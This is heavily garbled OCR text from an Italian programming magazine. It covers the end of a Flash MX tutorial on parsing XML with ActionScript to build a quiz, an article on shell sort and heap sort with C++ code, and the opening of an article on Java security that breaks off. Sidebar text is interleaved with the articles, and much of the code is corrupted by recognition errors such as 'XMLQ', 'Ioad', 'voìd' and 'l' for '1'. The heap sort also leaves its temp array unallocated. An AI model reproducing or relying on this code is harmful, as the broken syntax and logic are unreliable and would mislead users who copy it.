condari dell'oggetto XML specificato.
• attributes: restituisce una matrice associativa con-
tenente tutti gli attributi dell'oggetto XML specifi-
cato.
Queste definizioni, potrebbero a prima vista sem-
brare complicate, ma in realtà un esempio basta
per comprendere meglio queste proprietà:
File XML
<?xml version = '
1.0'
encod
ng =
iso-8859
1
?>
<classe>
ollievo corso
= "FI
ash Mx
>
Marco Casario
</allievo>
ollievo corso
= "FI
ash Mx Developer">
Alessio Casa
rio
</allievo>
</classe>
Actionscript
objXML = new XMLQ;
objXML.Ioad("esempio.xml");
objXML.ignoreWhite = true;
objXML.onLoad = caricato;
Ora creiamo una funzione che viene eseguita nel mo-
mento in cui il file viene caricato e letto con successo.
All'interno di questa funzione, istanzieremo le se-
guenti variabili per contenere i dati del mio file XML:
• primonodo: contiene il primo nodo presente al-
l'interno del file XML. Utilizzo la funzione first-
Child dell'oggetto XML.
• allievi: è un array che contiene tutti gli allievi in-
seriti all'interno del file. Utilizzo la funzione child-
nodes.
• allievi_corrente: contiene il primo indice conte-
nuto nella variabile allievi.
• testo_allievi: contiene gli attributi del nodo speci-
ficato (allievi _corrente). Utilizzo la proprietà atiri-
Flash
& XML
Flash MX
e XML: un dialogo
possibile
Alcuni indirizzi
per XML
r-s Extensible Markup
<y Language (XML)
< http://www.w3.0rg/TR/R
EC-xml> costituisce una
Raccomandazione, ossia
10 stadio finale della pro-
cedura di approvazione
del consorzio W3C. Que-
sto significa che tale
standard può essere in-
teramente adottato dagli
sviluppatori di strumenti
e del Web.
XML Namespaces
< http://www.w3.0rg/TR/R
EC-xml-names/> costitui-
sce una Raccomandazio-
ne. Descrive la sintassi
namespace e il supporto
per i parser XML name-
space.
11 livello 1 DOM (Docu-
ment Object Model)
< http://www.w3.0rg/TR/R
EC-DOM-Level-l/> costi-
tuisce una Raccomanda-
zione. Fornisce uno stan-
dard per l'accesso pro-
grammatico mediante
script ai dati strutturati,
in modo che gli sviluppa-
tori possano computare
e interagire in armonia
con i dati XML.
http: //www. itport al.it
g g
3 ►►► 31
Flash
& XML
Flash MX
e XML: un dialogo
possibile
Sul Web W
Il linguaggio di collega-
mento XML (XLL)
<http://www.w3.orq/TR/
WD-xlink> e il consimile
linguaggio di puntamen-
to XML (XPointer)
<http://www.w3.orq/TR/
WD-xptr> costituiscono
allo stato attuale delle
bozze di lavoro. L'XLL è
un linguaggio che forni-
sce collegamenti in for-
mato XML simili a quelli
del formato HTML ma è
molto più potente. Grazie
al linguaggio XLL i colle-
gamenti possono essere
multidirezionali ed esi-
stere a livello di oggetto
anziché solo a livello di
pagina. Internet Explorer
5 non dispone di un sup-
porto interno per il lin-
guaggio XLL.
Gli schemi strutturali
XML come quelli descritti
dalla XML-Data Note
<http://www.w3.orq/TR/19
98/NOTE-XML-data-0105/>
(nota sui dati XML) e dal-
la DCD (Descrizione del
contenuto dei documenti
per XML, Document Con-
tent Description for XML)
<http://www.w3.org/TR/N0
TE-dcd> sono anch'essi
materia del gruppo di la-
voro sui dati XML del
consorzio W3C
<http://www.w3.orq/XML/
Group/Schemas.html>
butes dell'oggetto XML
function caricatoQ {
primoNodo = objXML.firstChild;
trace("Questo e' il primo Nodo intercettato dalla
proprietà fi rstChild"+ primoNodo);
_root. allievi = primoNodo. childNodes;
trace("Contiene l'array di tutti i figli del nodo principale"
+allievi);
_root.totale_allievi = allievi. length;
allievi_corrente = _root.allievi[0];
trace("La prima domanda estratta : "+allievi_corrente);
testo_allievi = allievi_corrente.attribut.es. corso;
trace("Leggo l'attributo 'corso' all'interno del tag xml :
"+testo_allievi); }
All'interno del codice sono inseriti dei trace che per-
mettono, in fase di esecuzione del filmato, di ottenere
i valori contenuti nelle variabili stampati nella finestra
di Output di Flash. Per eseguire il filmato, basta pre-
mere CTRL-ENTER e automaticamente la finestra
comparirà. A questo punto, abbiamo esplorato come
l'oggetto XML messo a disposizione da Actionscript
permetta di lavorare con file XML. Abbiamo visto co-
me parsare i dati formattati e come inserirli all'inter-
no di variabili. Nell'applicazione di esempio che an-
diamo a creare, l'insieme delle domande e delle ri-
sposte è contenuto in un file XML esterno: questa se-
parazione consente di creare, a partire dalla stessa ap-
plicazione, tutti i tipi di questionari che vogliamo,
semplicemente andando a cambiare il file XML. An-
cora: potremo creare differenti file per differenti livel-
li di difficoltà. Il software gira su qualsiasi browser
con il flash player installato, e utilizzando un file XML
si svincola dalla piattaforma. Questo significa che se
volessimo trasferire il nostro progetto per dispositivi
palmari, piuttosto che per Web TV, dovremo solo
cambiare gli elementi grafici all'interno dell'interfac-
cia utente per meglio dimensionarli alla piattaforma e
il gioco è fatto. Questo è uno dei grossi vantaggi di
utilizzare Flash MX unito all'XML.
Siamo pronti per a costruire gli elementi della nostra
applicazione.
IL FILE XML
Il nostro file XML, con le domande e le risposte dovrà
anche permettere di gestire la risposta corretta tra il
set di risposte fornite all'utente. Il codice del file con-
terrà una radice <QUIZ>, al cui interno saranno inse-
riti i tag <setDomanda> che definiscono la domanda, il
set delle risposte possibili e il numero della risposta
giusta. Utilizzeremo degli attributi per inserire queste
informazioni ed in particolare:
• risposta_ok: contiene il numero della risposta cor-
retta;
• domanda: contiene il testo della domanda;
• optionl, option2, option3: contengono il testo
delle possibili risposte alla domanda.
Aggiungeremo anche alla radice <QUIZ> un attribu-
to per un'eventuale futura implementazione di ge-
stione di più corsi all'interno dello stesso file. In que-
sto modo potremo, per esempio, avere differenti set di
domande per differenti livelli di difficoltà. Un esem-
pio semplice del nostro file xml potrebbe essere:
<?xml version = "1.0" encoding = "iso-8859-l"?>
<quiz id = "l">
<setDomanda risposta_ok="3"
domanda = "Che cos' e' Internet?"
optionl = "Una rete di computer in cui i dati sono
veicolati solo grazie agli iperoggetti"
option2 = "Un protocollo di comunicazione usato per
trasferire dati tra uno o più computer"
option3 = "Un insieme di reti di computer usata per
trasmettere e ricevere qualsiasi tipo di dato" />
Apriamo Dreamweaver MX per creare il file XML e
dal menu File -> Neiv selezioniamo dalla finestra Nuo-
vo Documento la 'Pagina di Base' XML come mostrato
in Fig. 5.
Nuovo documento
Generali Modelli
Categoria:
Pagina di base:
Pagina di base
Pagina dinamica
Pagina modello
Altro
Fogli di stile CSS
Set di Piarne
Strutture di pagina
Strutture di pagina (accessibili)
5£ HTML
.y: Modello HTML
,'jf Voce di libreria
F CSS
JavaScript
Fig. 5: Generazione di un documento XML
dall'interno di Dreamwever.
La scelta di Dreamweaver Mx per la creazione del fi-
le è dettata dalle potenti funzionalità di autocomple-
tamento messe a disposizione del programma. Infat-
ti, una volta definita la struttura dell'XML, Dream-
weaver ci metterà a disposizione il comodo Code
Hints per l'inserimento dei tag e degli attributi ad essi
relativi, rendendo la stesura del codice un'operazione
semplice e veloce. Il file XML completo lo trovate sul
CD: lezi jjuiz. xml.
103; e' un ipertesto?
nsieme di informazioni strutturate
n modo interattivo"
nsieme di informazioni strutturate
Fig. 6: Il comando Code Hints di Dreamwever per
l'inserimento dei TAG e dei loro attributi.
L'INTERFACCIA UTENTE
La User Interface in Flash è molto semplice. E' com-
posta da un'unica bitmap di sfondo e da elementi
32*** m
g g
3
http: //www. itport al.it
TECNICA
dinamici che verranno aggiornati a seconda del
contenuto caricato dinamicamente dal file xml. In
particolare avremo: un campo testo di tipo dinami-
co con il campo Var settato a "testo domanda", tre
Radio Button con i nomi istanza uguali a optionl,
optionl, optionl. Infine un movieclip segnalatore che
permette all'utente di capire su quale domanda si
trova e, sopratutto, quante gliene mancano: check_
me che graficamente è rappresentato dalla spunta-
tura rossa. Dal codice verrà gestito dalle seguenti
righe:
check_mc.duplicateMovieClip("nuovo"
+_root.numero_domanda,_root.numero_domanda);
check_mc._x += 28 ;
Questo codice provvedere a duplicare il MC e a posi-
zionarlo a 28 px di distanza dal precedente. Il codice
è molto semplice, soprattutto, dopo aver visto la pri-
ma parte del tutorial, sono poche le linee da com-
mentare. Le azioni che dobbiamo compiere prevedo-
no il caricamento del file XML e la gestione dello stes-
so all'interno dell'evento ori Load, che scatta non appe-
na il file viene letto. In questo evento, inizializzo il
questionario inserendo la prima domanda nel campo
testo e, le risposte nei radio button con il comando se-
tLabel(). Un pulsante permette all'utente di avanzare
di una domanda incremetando l'indice dell'array che
conterrà tutte le domande. Dovremo infine inserire
un controllo che valuterà se l'utente si trova all'ultima
domanda, caso in cui il quiz si trova alla fine. Inizia-
mo a scrivere il nostro codice ciccando sul primo tra-
me della Timeline e costringiamo l'applicazione a non
essere ridimensionabile. In questo modo non otterre-
mo effetti grafici indesiderati.
fscommand("allowscale", false);
Andremo ad analizzare solo le righe di codice che ri-
sultano più ostiche, in quanto gran parte del lavoro lo
abbiamo già svolto negli esempi precedenti.
quizXML = new XMLQ;
quizXML.Ioad("contributi/lezl_quiz.xml");
quizXML.ignoreWhite = true;
quizXML.onLoad = caricato;
Nella variabile numero domanda inserisco di volta in
volta il numero della domanda in cui mi trovo:
_root.numero_domanda = 0;
function caricatoQ {
primoNodo = quizXML.firstChild;
_root. domande = primoNodo. childNodes;
_root.totale_domande = domande, length;
domanda_corrente = _root.domande[numero_domanda];
testo_domanda = domanda_corrente.attribut.es. domanda;
A questo punto popolo le etichette dei tre radio but-
ton che identificano le tre risposte che l'utente può da-
re usando la funzione setLabel e passandogli come va-
lori gli attributi del nodo corrente:
optionl. setLabel(domanda_corrente.attributes. optionl);
option2.setLabel(domanda_corrente.attributes.option2);
option3.setLabel(domanda_corrente.attributes.option3);
}
Il bottone che permette di passare alla domanda suc-
cessiva lancia la funzione 'mostra Jtomandd ', che du-
plica il movieclip grafico che stabilisce le domande a
cui l'utente ha già risposto. La funzione resetta inoltre
i valori dei radio button, controlla che l'utente non sia
giunto al termine del quiz (e quindi alla decima do-
manda) e, in caso contrario, passa alla domanda suc-
cessiva.
next_btn.on Press = function () {
mostra_Domanda(); }
function mostra_Domanda(indice) {
check_mc.duplicateMovieClip("nuovo"
+_root.numero_domanda,_root,numero_domanda);
check_mc._x += 28 ;
for (i=l; i< = 3; i+ + ) {
eval("option"+i).setValue(false);}
if (_root,numero_domanda>=_root.totale_domande-l) {
nex_btn.enabled = false ;
gotoAndStop(2);
} else {
_root.numero_domanda += 1;
}
domanda_corrente = _root,domande[numero_domanda^
testo_domanda = domanda_corrente.attributes. domanda
optionl. setLabel(domanda_corrente,attributes. optionl)
option2.setLabel(domanda_corrente.attributes.option2)
option3.setLabel(domanda_corrente.attributes.option3)
}
stop();
<t)>'
|/|:|3I4IS|EIT1SI9I)0I
O Radio Button
O Radio Button
O Radio Button
Fig. 7: Il risultato finale dell'interfaccia utente.
Con questo articolo non abbiamo sicuramente termi-
nato il discorso sull'oggetto XML di Flash, ma ci sia-
mo fatti sicuramente un 'idea di come poter sfruttare
la potenza dei XML all'interno dell' enviroment di
Flash.
Marco Casario
Flash
& XML
Flash MX
e XML: un dialogo
possibile
W Sul Web
Extensible Stylesheet
Language (XSL)
<http://www.w3.org/TR/VV
D-xsl/> costituisce at-
tualmente una bozza di
lavoro. Il linguaggio XSL
è formato da due sezioni
modulari: il linguaggio
trasformativo XSL e gli
oggetti di formattazione
XSL. Il linguaggio tra-
sformativo può essere
utilizzato per trasforma-
re i dati XML al fine di vi-
sualizzarli. Giacché le
due parti dello standard
XSL sono modulari, il lin-
guaggio trasformativo
può essere utilizzato in-
dipendentemente per
trasformazioni generi-
che, quali la conversione
da XML a HTML. Lo stan-
dard CSS può essere ap-
plicato a dati XML strut-
turati in modo semplice
ma non può presentare le
informazioni in un ordine
diverso da quello in cui
sono state ricevute.
http: //www. itport al.it
g g
3 ►►► 33
Sorti ng
Algoritmi efficienti
Shell sort e heap sort sono una valida alternativa
alle semplici ma "poco efficienti" tecniche di
sorting diretto. Introducono, inoltre,
l'interessante quanto utile concetto di
ordinamento parziale.
A giudicare dalle ricerche e dal fermento cultu-
rale prodotto intorno alle tecniche di sorting,
si comprende l'importanza che riveste tale
argomento nella comunità scientifica, ed in particola-
re nel settore della programmazione. Con il prece-
dente appuntamento sul tema abbiamo introdotto il
problema valutando i metodi comuni più conosciuti
come insertion, selection e bubble sort. I metodi trattati
hanno rilevanza meramente didattica giacché presen-
tano tempi di computazione, valutati in termini di
complessità, tipici di algoritmi "lenti" (ma comunque
utilizzabili). Infatti, una complessità quadratica 0(n 2 )
è da ritenersi non appropriata per un algoritmo che
possa essere considerato efficiente. Conosciuti e vi-
sionati i problemi intrinseci al processo di ordina-
mento il passo successivo, che proporremo tra queste
pagine e concluderemo la prossima volta, è esamina-
re i metodi che vengono considerati efficienti, ossia
quelle tecniche che presentano una complessità mi-
nore rispetto ai casi precedentemente trattati. Come
in seguito constateremo, ad esempio, uno degli algo-
ritmi oggetti della presente trattazione, lo shell sort,
ha una complessità pari a 0(n 12 ) che è sensibilmente
minore del caso quadratico. Gli algoritmi che ci ac-
cingiamo a studiare per il neofita producono la strana
sensazione di sembrare meno efficienti dei "semplici"
bubble sort o selection sort, soltanto perché più com-
plessi o poiché presentano un codice più ampio. Tale
sensazione verrà smentita al momento dell'analisi
della complessità che mostrerà l'incremento di effi-
cienza. Entrambi i metodi che verranno esaminati,
shell sort e heap sort si basano sul concetto di ordina-
mento parziale, che per intenderci si traduce nel ri-
spetto di alcune proprietà, che conducono secondo
un processo stabilito all'obiettivo finale che è l'ordi-
namento totale. Alla generica iterazione dell'algorit-
mo viene garantito, solitamente, qualcosa di meno
forte dell'ordinamento per alcune quantità di ele-
menti dell'insieme da ordinare. Il concetto sarà più
chiaro quando si studieranno nel concreto gli algorit-
mi, per cui tuffiamoci subito nel concreto, sperando
di non farci male. L'obiettivo primario è Yheap sort, ciò
nondimeno risulta particolarmente interessante il
metodo shell sort.
SHELL SORT
Tale metodo fu presentato alla comunità scientifica
nel lontano 1959 dallo studioso D.L. Shell, che lo in-
trodusse come un'efficiente estensione del metodo
per scambio diretto. La filosofia alla base della tecni-
ca si regge sul concetto della ripetuta applicazione del
metodo insertion sort a catene di numeri distanziati
tra loro da intervalli di lunghezza fissa, per ogni sin-
gola passata. L'algoritmo consiste nello eseguire di-
verse passate in ognuna delle quali la catena presen-
ta intervalli sempre più serrati (comunque fissi conte-
stualmente alla singola scansione), fino ad arrivare al
caso estremo di intervallo di passo 1 che comunque
garantisce l'ordinamento. Gli studi hanno provato
che le prime passate rendono per così dire, più age-
vole il compito alle successive fasi. Esaminiamo il me-
todo su un esempio concreto. Supponiamo di voler
ordinare una sequenza di otto numeri:
61,37,12,9,15,35,40,28
La scelta della cardinalità pari ad otto non è casuale
poiché ci darà la possibilità di trattare insiemi di nu-
61 37 12 9
Risultato Ordinamento -4
2
15 35 12 9 61 35 40 28
J i i i I i I
Risultato Ordinamento -2
12 9 15 28 40 35 61 37
Risultato Ordinamento -1
9 12 15 28 35 37 40 61
Fig. 1: Successive fasi che portano al competo
ordinamento di otto numeri mediante shell sort.
34 ► ► ► M a g g i
3
http: //www. itport al.it
meri di eguale numerosità, ovviamente l'algoritmo
funziona anche negli altri casi, anzi funziona anche
meglio come vedremo più avanti. Supponiamo, inol-
tre, di voler pervenire all'obiettivo finale in tre di-
stinte fasi a cui associare intervalli di lunghezza (in-
crementi) sempre dimezzata, partendo da quattro,
passando a due e terminando con uno (anche questo
è un dato di input). Le lunghezze degli intervalli così
come il numero di passate non sono imposte dal pro-
grammatore, l'unico vincolo consiste nel prevedere
necessariamente la scansione con intervallo di am-
piezza 1 che riduce l'algoritmo all'insertion sort, nel
peggiore dei casi tale fase prowederà a tutto il lavo-
ro. Nella Fig. 1 sono presentate le diverse fasi per il
caso specifico proposto. La prima delle passate è chia-
mata ordinamento-4 appunto perché l'intervallo di po-
sizioni che lega le singole catene è di ampiezza 4; so-
no presenti quattro catene ognuna di due elementi.
Anche se i gruppi sono relativamente numerosi risul-
tano costituti da pochi elementi. Da notare, come nel-
l'esempio, solo le catene 1 e 2 sono disordinate e ne-
cessitano di intervento, le altre due, la 3 e 4 sono già
ordinate; a riprova della "relativa" bassa complessità
computazionale delle prime fasi. Con la seconda pas-
sata viene impostato un ordinamento-2, il numero di
catene è due e ognuna di esse è costituita da quattro
elementi. Quando si applica l'ultima passata, ovvero,
Yordinamento-1 la successione è quasi ordinata. Non ci
soffermiamo sul significato dell'accezione quasi, poi-
ché non possiamo quantificare il grado di ordina-
mento di un insieme di numeri, ad ogni modo non
commettiamo errore se affermiamo che in questa fase
la successione di numeri si presenta parzialmente or-
dinata (da qui la definizione di ordinamenti parziali)
ossia qualche grado di ordinamento in più dal com-
pleto disordine (anche su questa affermazione qual-
cuno potrebbe obiettare su come definire il completo
disordine, ma non vogliamo fare accademia intendia-
mo solo sviluppare un algoritmo efficiente). Prima di
passare alla produzione dell'algoritmo solutore, sono
necessarie alcune precisazioni. Riguardo alla scelta
delle catene va detto che possono essere di ampiezza
qualsiasi, studi ad esempio hanno dimostrato che
ampiezze potenze di due, come proposta nell'esem-
pio, non forniscono proficui risultati. Intuitivamente
la cosa si comprende considerando che nel passare
nelle fasi successive le catene man mano più serrate
fanno riferimento a numeri appartenenti a ben defi-
nite catene del passo precedente. Questa mancata
omogeneizzazione dei numeri non porta buone pre-
stazioni. Nell'esempio di figura 1, nel secondo passo
la catena 1 fa riferimento a dati che nel precedente
passo appartenevano alle sole catene 1 e 3, mentre i
numeri della catena 2, fanno riferimento ai numeri
appartenenti, sempre al passo precedente, alle sole
catene 2 e 4. Fare riferimento a numeri appartenenti a
un più possibile ampio numero di catene del passo
precedente assicura buona efficienza, bisogna quindi
non considerare catene di lunghezza multipla o con
relazione di potenza. Nello sviluppare l'algoritmo
dobbiamo, come d'abitudine, definire una opportuna
struttura dati e formalizzare il problema, nonché se
necessario formulare opportune scelte per una corret-
ta implementazione. La struttura dati è la stessa usa-
ta nello scorso appuntamento, ovvero, un vettore, che
con il particolare linguaggio di programmazione usa-
to per lo sviluppo, il C++, si può anche dichiarare co-
me un puntatore. La variabile globale n, rappresenta
la dimensione del vettore. Di seguito è riportato il co-
dice della dichiarazione delle variabili e prototipi del-
le funzioni, in uniformità con il programma svilup-
pato nel precedente appuntamento. Si scorgono due
nuove funzioni shellsortO e heapsortO.
ó
int *a,*b, n;
enum bool { false, true
};
voìd ins (int *);
void vis (int *);
bool ìs_sort (int *);
void shellsort(int *);
voìd heapsort(int *);
La formalizzazione del metodo prevede la definizio-
ne di un insieme di incrementi hi, hi, ..., hm, a cui so-
no associate le condizioni già accennate: hm=l (assi-
cura l'ordinamento, allorquando con intervallo 1, de-
genera nel caso di insertion sort) e hi+l>hi per ogni i
compreso nell'intervallo [1, m\. L'algoritmo insertion
sort come ricorderete prevedeva l'uso di una senti-
nella che veniva posizionata sull'indice zero del vet-
tore in modo da rendere efficiente il programma e
flessibile il codice. Nel caso specifico, saranno neces-
sarie più sentinelle, infatti, ogni ordinamento utilizza
la sua. Un'elegante soluzione è estendere il vettore in
campo negativo (per indici negativi), in particolare
l'intervallo di definizione sarà [-hi, n] poiché hi è l'in-
tervallo più ampio. Attenzione all'implementazione
C++, verificate che il compilatore gestisca una generi-
ca dichiarazione del vettore come puntatore e la con-
seguente utilizzazione di indici negativi, alcuni com-
pilatori potrebbero non supportare tale funzionalità
generando errore o il classico "nuli pointer assign-
ment"; per la particolare routine è più appropriato un
linguaggio come il pascal. Ad ogni modo, come sem-
pre tra queste pagine, il nostro obiettivo è focalizzare
l'attenzione sull'algoritmo per comprendere il proce-
dimento. Esaminiamo il codice:
void shellsort(int *arr)
{ int i,j,k,m,z,s,x;
// Settaggio del vettore degli incrementi
int incr[]={0,5,3,l};
m = 3;
// Ciclo esterno (scansione degli incrementi)
for (z=l; z< = m; z++)
{ k=incr[z];
s=-k;
for (i = k+l; i< = n; i ++)
Verifica di
ordinamento
La seguente rou-
tine verifica se il
vettore è ordinato. Re-
stituisce valore vero se
il vettore è ordinato
falso altrimenti.
bool is_sort(int *arr)
{ bool sort=true;
int i;
for (1=1; i<=n-l; i++)
{
if (arr[i]>arr[i+l])
sort = false;
};
return sort;
http: //www. itport al.it
g g
2 3 ►►► 35
Procedimento
empirico
Una affermazione
attraverso un pro-
cedimento empirico, al
contrario del procedi-
mento teoretico, per il
quale viene dimostrata
attraverso un teorema,
viene provata mediante
ripetuti esperimenti che
ad ogni modo non con-
sentono di generalizzare
il risultato attraverso una
legge, matematicamente
dimostrabile.
{ x=arr[i]; j=i-k;
if (s==0) { s=-k; arr[++s]=x; } ;
while (x<arr[j])
{ arr[j+k]=arr[j];
j=j-k; };
arr[j+k]=x; } }}
Il vettore incr rappresenta gli incrementi. Nello speci-
fico è stato inizializzato da programma con i tre valo-
ri 5, 3 e 1. Si ribadisce il vincolo di prevedere come ul-
timo valore 1. Il primo valore pari a zero consente di
uniformare l'uso dei vettori (come gli altri presenti
nel programma) alla convenzione secondo la quale i
valori utili partano dall'indice 1. La variabile m è la
dimensione di suddetto vettore e consentirà di impo-
stare opportunamente un ciclo (poggiato sulla varia-
bile z) per l'estrazione degli intervalli delle catene (os-
sia i singoli elementi del vettore in questione). L'in-
tervallo corrente sarà contenuto nella variabile k,
mentre la s conterrà la posizione corrente della senti-
nella. Il secondo ciclo di for, non fa altro che imple-
mentare il conosciuto metodo insertion sort sulla ca-
tena di valori associati all'indice/, si noti come questo
ultimo viene, ad ogni iterazione, decrementato di k
(ampiezza dell'intervallo della catena) e come even-
tualmente, in caso di mancato ordinamento, si effet-
tui lo scambio con x che mantiene temporaneamente
il valore di riferimento per il confronto. Le ultime
considerazioni sul metodo ci impongono di ricordare
gli studi del conosciuto Knuth, che attraverso un pro-
cedimento empirico ha stabilito alcune sequenze di
ampiezze di intervalli di catene che forniscono buone
soluzioni. Alcune di esse scritte in ordine inverso so-
1,4,13,40,121,
1,3,7,15,31,..
HEAP SORT
Tale metodo, certamente più popolare del preceden-
te, nella comunità dei programmatori, si basa sul con-
cetto di heap, letteralmente mucchio. Un heap è un in-
sieme di elementi (al, al, ..., art) parzialmente ordi-
nati. L'ordinamento parziale è assicurato dalla se-
guente proprietà:
ai >= ai/2
per ogni i appartenente all'intervallo [l,n] con n car-
dinalità dell'insieme. La frazione è intesa come quo-
ziente intero. Realizzare un algoritmo che implemen-
ti tale metodo significa, sulla base di un insieme di
numeri disordinati, effettuare una opportuna permu-
tazione in modo che costituiscano un heap, estrarre il
primo elemento dall'heap, considerato che sarà il va-
lore più piccolo e ripetere il procedimento sul restan-
te insieme. Ad ogni passata si estrarrà il valore più
piccolo che permetterà così la costruzione finale del
vettore ordinato. Come per il caso precedente prima
di affrontare la parte meramente tecnica sviluppiamo
un esempio su un simbolico vettore di 5 elementi. Per
semplicità ad ogni passata la testa dell'heap verrà ri-
copiata su di un secondo vettore, che ad ogni modo
può essere risparmiato. Inizialmente si considera un
vettore disordinato come segue:
7, 15, 4, 1, 3
Come scritto, il primo passo è quello di costruire
l'heap, tale operazione viene sviluppata per fasi, co-
me mostrato nella tabella di seguito. Per riga si può
esaminare come viene costruito l'heap (ogni riga rap-
presenta nelle sue prime cinque caselle il vettore e
nell'ultima la fase del processo generativo). Con il
trattino si indica che, al momento, la casella non con-
tiene valori. Il simbolo asterisco segnala che il vettore
parziale corrispondente a quella determinata fase
non è un heap.
Vettore (heap) - temp
Fase
7
-
-
-
-
1
7
15
-
-
-
2
7
15
4
-
-
3*
4
15
7
-
-
4
4
15
7
1
-
5*
4
1
7
15
-
6*
1
4
7
15
-
7
1
4
7
15
3
8*
1
3
7
15
4
9
Inizialmente (fase 1), viene ricopiato nell'heap il pri-
mo elemento del vettore. Ovviamente, questo insie-
me degenere (poiché costituito da un singolo nume-
ro) è un heap, infatti, rispetta le proprietà. Successi-
vamente si aggiunge il secondo numero. Anche il
nuovo mini vettore è un heap, come si può notare
temp[2]>temp[l]. Al terzo passaggio, l'aggiunta del
nuovo numero rende il vettore in fase di costruzione
non un heap, nella tabella l'evento è segnalato con
asterisco. Bisogna quindi scambiare, ottenendo così il
risultato di fase 4 che è un heap. Lo scambio non può
produrre situazioni per le quali altri elementi dell'in-
sieme non rispettino con la nuova configurazione le
proprietà dell'heap, poiché dopo gli scambi le disu-
guaglianze sono maggiormente verificate. L'aggiunta
del quarto elemento impone un doppio scambio for-
nendo il doppio risultato prima di fase sei e poi di fa-
se sette. In queste ultime fasi il vettore non costituiva
heap poiché nel primo caso si presentava temp[4]
<temp[2] e nel secondo caso temp[2]<temp[l]. L'ultimo
inserimento, del quinto numero non genera il ricer-
cato mucchio poiché non è rispettata la condizione
temp[5]>temp[2] quindi si procede allo scambio che
sancisce l'ultimo passo per la produzione del vettore
heap (fase 9). Terminata la fase di costruzione bisogna
procedere con l'estrazione degli elementi dall'heap
36 ►►► Maggi
3
http: //www. itport al.it
per la generazione del vettore ordinato. Ogni qual
volta si estrae un elemento dal mucchio (il primo per-
ché il più piccolo parziale) bisogna ricomporre l'heap
al vettore rimanente. Prima di esaminare questa se-
conda fase strutturiamo l'intero algoritmo per fornire
una indicazione, seppure sommaria, delle macro atti-
vità da realizzare. Secondo uno schema top down,
l'algoritmo può essere così schematizzato:
Costruzione heap
Ripeti
Estrazione dell'elemento di testa dall'heap
Ricostruzione heap
Finché l'heap è vuoto
Con riferimento all'esempio proposto, ci tocca esami-
nare come si evolve la fase presentata come ciclo di
ripeti. In questo nuovo prospetto oltre al vettore di no-
me temp che contiene l'heap è presentato il target os-
sia il vettore arr che man mano viene costruito è al ter-
mine risulterà totalmente ordinato.
Vettore
1°
2°
3°
4°
5°
Fase
arr
1
-
-
-
-
1
temp
-
3
7
15
4
2*
temp
4
3
7
15
-
3*
temp
3
4
7
15
-
4
arr
1
3
-
-
-
5
temp
-
4
7
15
-
6
Temp
15
4
7
-
-
7*
temp
4
15
7
-
-
8
arr
1
3
4
-
-
9
temp
-
15
7
-
-
10
temp
7
15
-
-
-
11
Arr
1
3
4
7
-
12
temp
-
15
-
-
-
13
temp
15
-
-
-
-
14
arr
1
3
4
7
15
15
Dopo aver riportato in arr il primo elemento (il più
piccolo) bisogna ricomporre l'heap; si procede spo-
stando l'ultimo elemento in prima posizione {fase 3), e
applicando nuovamente la regola. Questa volta però,
si ragiona esaminando inizialmente il primo elemen-
to, dovrà quindi risultare che temp[l]<temp[2] e che
templi] <temp[3]. Ovviamente se l'heap fosse stato più
"popolato" si sarebbe reso necessario il controllo del-
le caselle di indice multiplo a quelle appena analizza-
te, ma nel caso in esame non esistono. Si procede tro-
vando il minimo tra i due elementi di indice due e tre
ed effettuando, se necessario, lo scambio, come si ri-
leva nella fase 4. Il risultato parziale ottenuto per co-
me costruito è un heap, quindi si estrae il primo ele-
mento, lo si colloca nel target e si itera il procedimen-
to. Si possono esaminare nel dettaglio tutti i passi che
conducono all'obiettivo del completo ordinamento
del vettore arr. Una possibile implementazione può
essere quella di seguito proposta. Essa segue la trac-
cia proposta dall'analisi top down. In conformità con
l'esempio analizzato con temp indichiamo l'heap e
con arr il target. Un utile esercizio è il ruolo che gio-
cano alcune variabili.
voìd heapsort(int *arr)
{ int i,j,k,z,q,swh,w,h,im;
int *temp; // array temporaneo contenente l'heap
bool is_heap;
// Costruzione heap
for (i=l; i<=n; i ++)
{ temp[i]=arr[i];
z=i;
is_heap=false;
while ((z>l) && (! is_heap))
{ q= z/2; // quoziente
if (temp[z]<temp[q])
{ swh=temp[z]; temp[z]=temp[q];
temp[q]=swh; }
else is_heap=true; } };
// ricostruzione del vettore ordinato
for (i = l; i< = n; i++)
{ arr[i]=temp[l];
k=n-i;
temp[l]=temp[k+l];
is_heap=false;
z=l;
while ((! is_heap) && (2*z <= k))
{ w=2*z; h=w+l;
im = h;
if (h > k) im=w;
else if (temp[w] < temp[h]) im=w;
if (temp[z]>temp[im])
{ swh=temp[z]; temp[z]=temp[im];
temp[im]=swh;
z=im; }
else
is_heap=true; }}}
ULTERIORI ANALISI
SUI METODI
Per lo shell sort si è concordi con l'affermare che la
complessità è proporzionale a 0(n 12 ). Con riferimento
all'heap sort è certamente possibile sviluppare un al-
goritmo che usa un solo vettore, risulta solo più com-
plicato il codice che lo implementa. Nel valutare la
complessità dell'algoritmo bisogna tener conto che
esso consta di due cicli distinti che si occupano della
creazione e ricomposizione dell'heap. Come è facile
intuire i due frammenti di codice hanno la stessa
complessità. Ma quanto vale ognuna? Nel caso peg-
giore bisogna trasferire un numero dal fondo fino al
primo elemento lungo indici di posto man mano di-
mezzato n, n/2, n/4 fino ad arrivare al primo. Questa
serie, come gli amanti della matematica possono con-
fermare, è un logaritmo. Essendo il ciclo ripetuto n
volte, in definitiva la complessità di un singolo stadio
è O(n*log(n)) ed in totale, quindi, O(2*n*log(n)) che
può essere approssimata a O(n*log(n)). Mi sembra un
ottimo risultato, che ne pensate?
Fabio Grimaldi
Bibliografia
• ALGORITMI +
STRUTTURE DATI =
PROGRAMMI
Niklaus Wirth
(Tecniche nuove)
• SOLUZIONI
Fabio Grimaldi
ioProgrammo n. 67
http: //www. itport al.it
g g
2 3 ►►► 37
■*■*-*<■*■*-*<<■*<■*< TEORIA E
TECNICA
La sicurezza
IN JAVA
5;:-'-;:a»gs
Si sente spesso parlare
di Java. Cerchiamo
di comprendere alcune
caratteristiche di questo
linguaggio in relazione
alle possibili problematiche
di sicurezza.
Iava è forse il linguaggio più utilizzato in In-
ternet, anche se può essere ugualmente usa-
to per sviluppare applicazioni in ambito tra-
ionale. Una delle principali caratteristiche
di Java è la portabilità, ovvero l'indipendenza
dalla piattaforma, ossia la capacità di un pro-
gramma ad essere eseguito su sistemi operativi
differenti. Anche se non ce ne rendiamo conto,
noi tutti quando navighiamo in rete abbiamo a
che fare con Java, visto che da quale anno, in-
fatti, tutti principali browser sono predisposti
per poter eseguire codice Java sul nostro perso-
nal computer, in modo da rendere più interatti-
va la navigazione stessa.
Ma quali garanzie sulla sicurezza dei dati e sul-
la privacy può offrire Java? Per cercare di dare
